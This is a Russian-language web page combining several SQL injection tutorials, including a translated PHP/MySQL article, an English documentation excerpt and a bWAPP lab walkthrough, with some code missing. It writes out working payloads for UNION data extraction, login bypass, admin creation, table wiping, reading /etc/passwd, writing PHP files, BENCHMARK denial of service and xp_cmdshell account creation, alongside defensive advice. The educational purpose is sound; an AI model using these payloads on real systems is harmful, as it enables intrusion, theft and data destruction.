sonyps4.ru

Виды sql инъекций. Практический пример простой SQL-инъекции

Перевод: Николай Н.


Небрежность и невнимательность, вот две причины написания кода, уязвимого для SQL инъекций. Третья причина - незнание, должна бы побуждать программиста к углублению своих знаний или даже изменения профессии.

SQL инъекция (SQL injection ) - уязвимость которая возникает
при недостаточной проверке и обработке данных
, которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы.

Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний.

Использование этой уязвимости дает путь к большим возможностям: как то кража, подмена или уничтожение данных, отказ в обслуживании, и т.д.

В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии междуPHP и базой данных MySQL.

Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:

CREATE DATABASE `news`;
USE `news`;
#
# таблица новостей
#
CREATE TABLE `news` (
`id` int(11) NOT NULL auto_increment,
`title` varchar(50) default NULL,
`date` datetime default NULL,
`text` text,
PRIMARY KEY (`id`)
) TYPE=MyISAM;
#
#добавляем некоторые данные
#
INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (1,"first news","2005-06-25
16:50:20","news text");
INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (2,"second news","2005-06-24
12:12:33","test news");
#
# таблица пользователей
#
CREATE TABLE `users` (
`id` int(11) NOT NULL auto_increment,
`login` varchar(50) default NULL,
`password` varchar(50) default NULL,
`admin` int(1) NULL DEFAULT "0",
PRIMARY KEY (`id`)
) TYPE=MyISAM;
#
# добавляем несколько пользователей, одного с правами админа, другого простого
#
INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (1,"admin","qwerty",1);
INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (2,"user","1111",0);

А теперь образец PHP кода:

Видим, что запрос формируется в зависимости от значения $_GET["id"]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.

Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет.

как результат "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near """ at line 1 "

результат "Unknown column "1qwerty" in "where clause" "

при наличии уязвимости должен выдать результат, аналогичный

Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE.

Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.

количество "null" должно соответствовать количеству полей, которые используются в запросе.

Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.

теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty.

логин текущего пользователя базы данных
http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER (),null,null

имя используемой базы данных
http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE (),null,null

Получение данных из других таблиц:
SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,`password`,null,null from `users`where `id`=1
Вот таким нехитрым способом узнают пароль или хэш пароля админа.

Если же текущий пользователь имеет права доступа к базе "mysql", без малейших проблем злоумышленник получит хэш пароля админа.

Теперь его подбор это просто вопрос времени.

Поиск

Поиск - одно из наиболее уязвимых мест, поскольку одновременно передается большое количество параметров запроса. Пример простого запроса, который выполняет поиск по ключевому слову:
SELECT * FROM `news` WHERE `title` LIKE "%$search%" OR `text` LIKE "%$search%"
$search - слово, которое передается с формы.

Злоумышленник может передать в переменной $search = "# теперь запрос будет выглядеть следующим образом:
SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%"
Соответственно вместо результатов поиска по ключевому слову будут выданы все данные. Это также позволяет использовать возможность объединения запросов, описанную выше.

Использование параметра ORDER

Часто можно увидеть, что при введении параметров поиска, или выводе информации дают возможность пользователю сортировать данные по определенным полям. Скажу сразу, что использование данной уязвимости не является слишком опасным, поскольку при попытке объединения запросов вызовет ошибку, однако в паре с уязвимостями в других полях есть опасность закомментирования этого параметра.

параметр ORDER формируется в зависимости от переменной $sort

$search =" /*
$sort = */

Будет сформирован следующий запрос:
SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */ тем самым закомментируется одно из условий и параметр ORDER
Теперь можно снова объединить запрос, присвоив $sort=*/ UNION SELECT....

Как вариант использования уязвимости этого параметра:
SELECT * FROM `users` ORDER BY LENGTH(password); Позволит отсортировать пользователей в зависимости от длины пароля, при условии, что он сохраняется в "чистом" виде.

Авторизация

Попробуем теперь рассмотреть варианты SQL инъекций, которые возникают при авторизации пользователей. Как правило запрос, который проверяет правильность данных авторизации выглядит следующим образом:
SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";
где $login и $password это переменные, которые передаются с формы.

Подобный запрос возвращает данные по пользователю в случае успеха, а в случае неудачи пустой результат.

Соответственно для того, чтобы пройти авторизацию злоумышленнику достаточно модифицировать запрос таким образом, чтобы он вернул ненулевой результат. Задается логин, который соответствует реальному пользователю, а вместо пароля указывается " OR "1"="1
Или какое-нибудь истинное условие
(1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3)

Соответственно запрос будет сформирован следующим образом:
SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1"; что вернет результат, а как следствие, приведет к несанкционированной авторизации. А если пароли в базе данных хэшированные? Тогда проверку пароля просто "отключают", закомментировав все, что идет после `login`. В форме вместо логина назначается логин реального пользователя и "# тем самым закомментируется проверка пароля.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

как вариант "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"
Таким образом можно пройти авторизацию без знания реального логина. Случай с
SELECT * FROM `users` WHERE `login`="" OR `admin`=1#" AND `password`="12345" позволяет пройти авторизацию с правами админа.

Большой ошибкой является проверка пароля следующим образом:
SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE
"$password" поскольку в этом случае для любого логина подойдет пароль %

INSERT & UPDATE

Однако не только SELECT-ы являются уязвимым местом SQL. Не менее уязвимыми могут оказаться INSERT и UPDATE.

Допустим, на сайте есть возможность регистрации пользователей. Запрос, который добавляет нового пользователя:
INSERT INTO `users` (`login`, `password`,`admin`) VALUES ("юзер",
"пароль",0); Уязвимость одного из полей позволяет модифицировать запрос с необходимыми данными.

В поле login добавляем юзер", "пароль", 1)# тем самым добавив пользователя с правами админа.
INSERT INTO `users` (`login`, `password`,`admin`) VALUES ("юзер", "пароль", 1)# ,"пароль",0); Допустим, что поле `admin` находится перед полем `login`, соответственно трюк с заменой данных, которые идут после поля `login` не проходит. Вспоминаем, что синтаксис команды INSERT позволяет добавлять не только одну строчку, а несколько.

Пример уязвимости в поле login:
$login= юзер", "пароль"),(1,"хакер", "пароль")#
INSERT INTO `users` (`admin`,`login`, `password`) VALUES (0,"юзер",
"пароль"),(1,"хакер", "пароль")#","пароль");

Таким образом создается 2 записи, одна с правами простого пользователя, другая с желаемыми правами админа.

Подобная ситуация и с UPDATE

Добавление дополнительных полей для изменения:
$login=", `password`="", `admin`="1
Тогда подобный запрос
UPDATE `users` SET `login`="чайник" WHERE `id`=2;
Модифицируется следующим образом:
UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;
Что произойдет? Пользователь с ID 2 изменит логин и пароль на пустые значения и получит права админа.

Или в случае

$login = ", `password`="" WHERE `id` =1#

Логин и пароль админа станут пустыми.

DELETE

тут все просто, никаких данных получить или изменить не удастся, но удалить лишнее - всегда пожалуйста.
$id=1 OR 1=1
И запрос
DELETE FROM `news` WHERE `id`=1 OR 1=1; почистит все записи в таблице.

Вместо 1=1 может быть любое истинное условие, про которое говорилось выше. Может спасти параметр LIMIT, который ограничит количество удаленных строк, но не всегда, его могут просто закомментировать.

DELETE FROM `news` WHERE `id`=1 OR 1=1# LIMIT 1;

Работа с файлами через SQL-инъекции.

Сильно сомневаюсь, что это где-то может пройти, но справедливости ради нужно описать и такие способы. При включенных привилегиях file можно использовать команды LOAD_FILE и OUTFILE.

Про их опасность можно судить из нижеприведенных запросов:
SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null;
SELECT * FROM `news` WHERE `id`=-1 union select
null,LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Но на этом все беды еще не заканчиваются.
SELECT * FROM `news` WHERE `id`=-1 union select null,"",null,null FROM `news` into outfile
"/home/test/www/test.php";
Вот так записываем файл, который содержит php код. Правда кроме кода, в нем будет еще несколько записей null но это никаким образом не повлияет на работоспособность php кода.

Однако есть несколько условий, благодаря которым эти способы сработают:

Включена привилегия FILE для текущего пользователя базы данных;

Права на чтение или запись этих файлов для пользователя, под которым запускается MySQL сервер

абсолютный путь к файлу;
менее важное условие - размер файла должен быть меньше чем max_allowed_packet, но поскольку в MySQL 3.23 размер наибольшего пакета
может быть 16 мБ, а в 4.0.1 и более, размер пакета ограничивается только количеством доступной памяти, вплоть до теоретического максимума в 2 Гб это условие как правило всегда доступно.

Magic quotes

Магические кавычки делают невозможным использование SQL инъекций в строковых переменных, поскольку автоматически экранирует все " та " Которые приходят с $_GET та $_POST.

Но это не касается использования уязвимостей в целых или дробных параметрах, правда с поправкой, что нельзя будет использовать ". В этом случае помогает функция сhar.
SELECT * FROM `news` WHERE `id`=-1 UNION SELECT
null,char(116,101,115,116),null,null;

DOS через SQL-инъекцию.

Чуть не забыл сказать, а знатоки SQL подтвердят, что операция UNION возможна только в MySQL >=4.0.0. С облегчением вздохнули люди, у которых проекты на предыдущих версиях:) Но не все так безопасно, как выглядит на первый взгляд. Логику злоумышленника иногда сложно проследить. "Не получится взломать, так хоть
завалю" подумает хацкер, набирая функцию BENCHMARK для примера запрос
SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));
выполнялся у меня от 12 до 15 секунд. Добавив нолик - 174 секунды. На большее у меня просто не поднялась рука.

Конечно, на мощных серверах такие вещи будут выполняться намного быстрее, но...BENCHMARK позволяет вкладывать себя один в один.

Вот так:
SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));
Или даже вот так
SELECT * FROM `news` WHERE
`id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));
Да и количество нулей ограничено разве что "добротой" того, кто их набирает.

Я думаюч то даже ОЧЕНЬ мощная машина, не сможет с легкостью проглотить такие запросы.

Итог

На этом все. В этой стстье я старался максимально охватить варианты уязвимостей, которые допускают программисты при создании программ с использованием баз данных MySQL. Однако я более чем уверен, что это далеко
не полный перечень.
Поэтому важно запомнить несколько правил:

Не доверяйте НИКАКИМ данным, которые приходят от пользователя.

Речь идет не только о данных, которые передаются массивами $_GET и $_POST. Не следует забывать про $_COOKIE и другие части HTTP-заголовков. Следует помнить про те, что их легко подменить.

Не стоит надеяться на опцию PHP "magic quotes"

Которые наверно больше мешают чем помогают. Все данные, которые передаются в базу данных должны быть сведены по типам с полями
базы данных. ($id=(int)$_GET["id"]) или защищены функциями mysql_escape_string или mysql_real_escape_string.

mysql_real_escape_string не экранирует % и _, поэтому не стоит ее использовать в паре с LIKE.

Не стоит также сильно надеяться на правильно написанный mod_rewrite. Это только способы для создания "удобных" УРЛ-ов, но уж никак не способ защиты от SQL-инъекций.

Отключите вывод информации об ошибках.

Не помагайте нехорошим посетителям. Даже если ошибка будет выявлена, отсутствие информации о ней серьезно затруднит ее применение. Помните про разницу между стадией разработки и рабочим проектом. Вывод ошибок и другой детальной информации - ваш союзник на стадии разработки, и союзник злоумышленника в рабочем варианте. Не стоит также прятать их, комментируя в HTML коде, на 1000-чу посетителей найдется 1, который таки найдет подобные вещи.

Обрабатывайте ошибки.

Напишите обработку SQL запросов таким образом, чтобы информация о них сохранялась в каких-нибудь логах или отсылалась по почте.

Не сохраняйте данные доступа к базе данных в файлах, которые не обрабатываются PHP как код.

Думаю никому не открыл Америки, но по собственному опыту могу сказать, что подобная практика достаточно распространена. Как правило это файл с расширением *.inc

Не создавайте "супер-пользователя" базы данных.

Предоставляйте только права, необходимые для выполнения конкретных задач.

В поиске стоит ограничить минимальное и максимальное количество символов, являющееся параметрами запроса.

Для честного пользователя вполне достаточно от 3-х до 60-70 символов, чтобы удовлетворить свои поисковые интересы, и одновременно вы предупреждаете ситуации, когда поисковым запросом станет том "Войны и мира".

Всегда проверяйте количество возвращенных записей после запроса

Почти на 90% сайтов, написанных на php встречается такая логическая ошибка, особенно это можно наблюдать, когдаделается запрос на основе полученного ID от пользователя, если руками дать скрипту несуществующий ID - мы увидим достаточно интересные результаты работы некоторых скриптов, вместо того чтобы вернуть 404 программа в лучшем случае ничего не сделает и выведет в браузер чистую страницу.

Безопасного вам SQL-я;)

Все описанное в статье было выполнено в качестве эксперимента на тестовой базе, владельцем которой является автор статьи. Никакие данные других людей не были уничтожены или изменены.

Автор статьи не несет никакой ответственности за использование способов, описанных в данной статье, поскольку предполагалось, что она была написана с целью информирования о уязвимостях программ, написанных с использованием баз данных MySql.

Many web developers are unaware of how SQL queries can be tampered with, and assume that an SQL query is a trusted command. It means that SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks, and sometimes SQL queries even may allow access to host operating system level commands.

Direct SQL Command Injection is a technique where an attacker creates or alters existing SQL commands to expose hidden data, or to override valuable ones, or even to execute dangerous system level commands on the database host. This is accomplished by the application taking user input and combining it with static parameters to build an SQL query. The following examples are based on true stories, unfortunately.

Owing to the lack of input validation and connecting to the database on behalf of a superuser or the one who can create users, the attacker may create a superuser in your database.

Example #1 Splitting the result set into pages ... and making superusers (PostgreSQL)

$offset = $argv [ 0 ]; // beware, no input validation!
$query = $offset ;" ;
$result = pg_query ($conn , $query );

?>

Normal users click on the "next", "prev" links where the $offset is encoded into the URL . The script expects that the incoming $offset is a decimal number. However, what if someone tries to break in by appending a urlencode() "d form of the following to the URL If it happened, then the script would present a superuser access to him. Note that 0; is to supply a valid offset to the original query and to terminate it.

It is common technique to force the SQL parser to ignore the rest of the query written by the developer with -- which is the comment sign in SQL.

A feasible way to gain passwords is to circumvent your search result pages. The only thing the attacker needs to do is to see if there are any submitted variables used in SQL statements which are not handled properly. These filters can be set commonly in a preceding form to customize WHERE, ORDER BY, LIMIT and OFFSET clauses in SELECT statements. If your database supports the UNION construct, the attacker may try to append an entire query to the original one to list passwords from an arbitrary table. Using encrypted password fields is strongly encouraged.

The static part of the query can be combined with another SELECT statement which reveals all passwords:

" union select "1", concat(uname||"-"||passwd) as name, "1971-01-01", "0" from usertable; --

If this query (playing with the " and -- ) were assigned to one of the variables used in $query , the query beast awakened.

SQL UPDATE"s are also susceptible to attack. These queries are also threatened by chopping and appending an entirely new query to it. But the attacker might fiddle with the SET clause. In this case some schema information must be possessed to manipulate the query successfully. This can be acquired by examining the form variable names, or just simply brute forcing. There are not so many naming conventions for fields storing passwords or usernames.

But a malicious user sumbits the value " or uid like"%admin% to $uid to change the admin"s password, or simply sets $pwd to hehehe", trusted=100, admin="yes to gain more privileges. Then, the query will be twisted:

// $uid: " or uid like "%admin%
$query = "UPDATE usertable SET pwd="..." WHERE uid="" or uid like "%admin%";" ;

// $pwd: hehehe", trusted=100, admin="yes
$query = "UPDATE usertable SET pwd="hehehe", trusted=100, admin="yes" WHERE
...;"
;

?>

A frightening example how operating system level commands can be accessed on some database hosts.

If attacker submits the value a%" exec master..xp_cmdshell "net user test testpass /ADD" -- to $prod , then the $query will be: MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.

Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.

Example #5 A more secure way to compose a query for paging

settype ($offset , "integer" );
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset ;" ;

// please note %d in the format string, using %s would be meaningless
$query = sprintf ("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;" ,
$offset );

?>

  • If the database layer doesn"t support binding variables then quote each non numeric user supplied value that is passed to the database with the database-specific string escape function (e.g. mysql_real_escape_string() , sqlite_escape_string() , etc.). Generic functions like addslashes() are useful only in a very specific environment (e.g. MySQL in a single-byte character set with disabled NO_BACKSLASH_ESCAPES) so it is better to avoid them.
  • Do not print out any database specific information, especially about the schema, by fair means or foul. See also Error Reporting and Error Handling and Logging Functions .
  • You may use stored procedures and previously defined cursors to abstract data access so that users do not directly access tables or views, but this solution has another impacts.
  • Besides these, you benefit from logging queries either within your script or by the database itself, if it supports logging. Obviously, the logging is unable to prevent any harmful attempt, but it can be helpful to trace back which application has been circumvented. The log is not useful by itself, but through the information it contains. More detail is generally better than less.

    SQL-инъекция для новичков

    SQL-инъекция - это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.

    Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).

    В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:

    SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" AND password ="111"

    Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:

    Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = "Demo") и (AND) значение поля password равно величине 111 (password ="111").

    Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = "Demo" AND password ="111" является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.

    При этом значения «Demo» и «111» приложение получает от пользователя - например, в форме входа на сайт.

    Предположим, что вместо Demo пользователь ввёл такую строку:

    Demo" --

    Тогда запрос к базе данных будет иметь вид:

    SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" -- " AND password ="111"

    Две чёрточки () - означают комментарий до конца строки, т.е. всё, что за ними, больше не учитывается. Следовательно, из выражения условия «исчезает» часть " AND password ="111"

    Поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:

    SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo"

    В нём была нарушена логика работы программы, заложенная разработчиками. Т.е. теперь поиск в таблице производится только по имени. И если имя совпало, то строка попадает в результаты независимо от введённого пароля. Это и есть пример эксплуатации SQL-инъекции. В реальной ситуации, такая ошибка может быть использована на веб-сайте для входа под учётной записью администратора, для которой достаточно знать только имя, а пароль становится ненужным.

    Кроме обхода аутентификации, SQL-инъекция используется для извлечения информации из баз данных, вызова отказа в обслуживании (DoS), эксплуатацию других уязвимостей (вроде XSS) и т.п.

    Эксплуатации SQL-инъекции

    Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

    • Балансировка
    • Внедрение
    • Комментирование

    Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

    Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

    Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

    Комментарии в MySQL начинаются с символов:

    Т.е. вместо

    Demo" --

    можно было бы ввести

    Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

    Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

    Demo" OR 1 --

    то получится запрос

    SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1 -- " AND password ="111"

    Уберём закомментированную часть:

    SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1

    Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

    В нашем примере после введённого значения Demo мы ставили одинарную кавычку ("), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

    Для запросов с цифрой:

    SELECT * FROM table_name WHERE id=1 SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=(1) SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

    Для запросов со строкой:

    SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

    В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

    SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

    то имя пользователя

    не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

    Для такого запроса (используются одинарные кавычки и круглые скобки):

    SELECT * FROM `members` WHERE name = ("$name") AND password = ("$password")

    нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

    Demo") #

    Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

    Стиль ошибок MySQL:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "\"" at line 1

    Ошибка в MSSQL ASPX:

    Server Error in "/" Application

    Ошибка в MSAccess (Apache PHP):

    Fatal error: Uncaught exception "com_exception" with message Source: Microsoft JET Database Engine

    Ошибка в MSAccesss (IIS ASP):

    Microsoft JET Database Engine error "80040e14"

    Ошибка в Oracle:

    ORA-00933: SQL command not properly ended

    Ошибка в ODBC:

    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

    Ошибка в PostgreSQL:

    PSQLException: ERROR: unterminated quoted string at or near """ Position: 1 или Query failed: ERROR: syntax error at or near """ at character 56 in /www/site/test.php on line 121.

    Ошибка в MS SQL Server:

    Microsoft SQL Native Client error %u201880040e14%u2019 Unclosed quotation mark after the character string

    Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

    Практический пример простой SQL-инъекции

    Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).

    Выбираем баг «SQL Injection (GET/Search) »/

    От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:

    Iron Man"

    Результат

    Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1

    Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.

    Iron Man"

    Результат

    Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.

    Исходя из полученной информации, формируем строку для вывода всех записей таблицы:

    Iron Man" OR 1 #

    Результат:

    Определение количества столбцов таблицы с помощью ORDER BY

    Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.

    ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.

    Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):

    Iron Man" AND 0 ORDER BY 1 # Iron Man" AND 0 ORDER BY 2 # Iron Man" AND 0 ORDER BY 3 # ……………………… ……………………… ……………………… Iron Man" AND 0 ORDER BY 7 #

    Iron Man" AND 0 ORDER BY 8 #

    получен следующий результат:

    Error: Unknown column "8" in "order clause"

    Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.

    Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:

    Iron Man" AND 0 UNION SELECT 1 # Iron Man" AND 0 UNION SELECT 1,2 # ……………………… ……………………… ……………………… Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

    Все они будут вызывать одну и туже ошибку:

    Ошибка: The used SELECT statements have a different number of columns

    Делайте так пока не исчезнет сообщение об ошибке.

    Объединение запросов с UNION SELECT

    UNION позволяет объединять результаты в один от нескольких выражений SELECT .

    Конструируем наш запрос с UNION :

    Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

    Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL - тогда вместо поля ничего не будет выведено.

    Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

    Что писать в SELECT

    Есть некоторые функции и переменные, которые можно писать непосредственно в UNION :

    Переменная / Функция Вывод
    @@hostname Текущее имя хоста
    @@tmpdir Директория для временных файлов
    @@datadir Директория с базами данных
    @@version Версия БД
    @@basedir Базовая директория
    user() Текущий пользователь
    database() Текущая база данных
    version() Версия
    schema() Текущая база данных
    UUID() Ключ системного UUID
    current_user() Текущий пользователь
    current_user Текущий пользователь
    system_user() Текущий системный пользователь
    session_user() Сессионный пользователь
    @@GLOBAL.have_symlink Проверка, включены или отключены симлинки
    @@GLOBAL.have_ssl Проверка, имеется SSL или нет

    Ввод для получения имени базы данных:

    Iron Man" AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

    База данных INFORMATION_SCHEMA

    В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA . Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.

    Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:

    SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

    • SELECT и FROM - уже знакомые элементы языка запросов к базам данных;
    • SCHEMA_NAME - имя запрашиваемого столбца;
    • INFORMATION_SCHEMA - имя базы данных, к которой делается запрос;
    • SCHEMATA - имя таблицы, в которой ищется запрашиваемый столбец.

    Получение списка всех баз данных на сервере через SQL-инъекцию

    Используя UNION , мы можем сделать запрос к базе данных INFORMATION_SCHEMA . Например, чтобы вывести содержимое поля SCHEMA_NAME (имена присутствующих баз данных на сервере), можно сделать примерно следующий ввод:

    Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод

    Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

    выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT . Например, для первой строки:

    Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

    Для второй строки:

    Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

    Для третьей строки:

    Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

    Для четвёртой строки:

    Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

    Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:

    Iron Man" AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

    Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:

    Желаемый запрос:

    SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="tablenamehere"

    Где вместо tablenamehere нужно подставлять имя таблицы.

    Например, нами получены следующий имена присутствующих в базе данных таблиц:

    • heroes
    • movies
    • users
    • visitors

    Тогда для получения имён столбцов в таблице blog нужно сформировать запрос

    SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="blog"

    Применительно к нашей уязвимости получаем ввод:

    Iron Man" AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME="blog" #

    Здесь также можно применять LIMIT .

    Извлечение данных из таблицы с помощью SQL-инъекции

    Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:

    Например, следующий ввод для нашей уязвимости означает извлечь содержимое колонки login из таблицы users из текущей БД:

    Iron Man" AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #

    Заключение по первой части

    В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных . Если вопросы остались, то пишите их в комментариях.

